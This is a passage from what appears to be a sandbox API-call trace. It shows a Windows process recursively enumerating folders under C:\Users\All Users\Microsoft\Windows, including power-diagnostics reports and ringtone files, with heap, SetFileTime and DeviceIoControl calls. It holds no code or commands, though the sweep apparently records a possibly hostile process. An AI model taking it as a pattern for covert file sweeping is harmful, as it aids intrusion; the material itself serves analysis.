Flags=0x8, Size=0x18) returned 0x12f7d38 [0091.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368058 [0091.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.905] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-trace.etl", cAlternateFileName="")) returned 1 [0091.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7d58 [0091.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368160 [0091.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.907] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-trace.etl", cAlternateFileName="")) returned 0 [0091.907] GetLastError () returned 0x12 [0091.907] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0091.907] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.907] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.907] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f828940, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x2b0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-ntkl.etl", cAlternateFileName="")) returned 1 [0091.907] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9bd2ca0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9bd2ca0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xd9bd2ca0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x7122, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2017-07-12.xml", cAlternateFileName="")) returned 1 [0091.907] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e53620, ftCreationTime.dwHighDateTime=0x1d305f5, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2017-07-26.xml", cAlternateFileName="")) returned 1 [0091.907] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9b145c0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9b145c0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-latest.xml", cAlternateFileName="")) returned 1 [0091.907] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c91380, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9c91380, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x812c9f60, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x41f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report.html", cAlternateFileName="")) returned 1 [0091.907] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-trace.etl", cAlternateFileName="")) returned 1 [0091.907] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-trace.etl", cAlternateFileName="")) returned 0 [0091.907] GetLastError () returned 0x12 [0091.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a358) returned 1 [0091.908] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1367b30) returned 1 [0091.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a568) returned 1 [0091.909] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="")) returned 1 [0091.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.909] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.910] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.910] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.910] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.911] NtClose (Handle=0x16c) returned 0x0 [0091.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.912] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0091.913] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.913] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7d78 [0091.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.915] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x31469, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 01.wma", cAlternateFileName="")) returned 1 [0091.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7d98 [0091.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fba70 [0091.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.918] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 02.wma", cAlternateFileName="")) returned 1 [0091.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7db8 [0091.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbb80 [0091.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.920] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 03.wma", cAlternateFileName="")) returned 1 [0091.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7dd8 [0091.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.922] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a039, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 04.wma", cAlternateFileName="")) returned 1 [0091.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7df8 [0091.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.924] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 05.wma", cAlternateFileName="")) returned 1 [0091.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7e18 [0091.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc90 [0091.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.926] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 06.wma", cAlternateFileName="")) returned 1 [0091.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7e38 [0091.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbd18 [0091.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.928] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 07.wma", cAlternateFileName="")) returned 1 [0091.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7e58 [0091.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbda0 [0091.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 08.wma", cAlternateFileName="")) returned 1 [0091.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7e78 [0091.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbe28 [0091.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.932] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 09.wma", cAlternateFileName="")) returned 1 [0091.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7e98 [0091.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbeb0 [0091.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.934] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="")) returned 1 [0091.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7eb8 [0091.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbf38 [0091.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9c40) returned 0x132a698 [0091.937] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="")) returned 0 [0091.937] GetLastError () returned 0x12 [0091.937] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 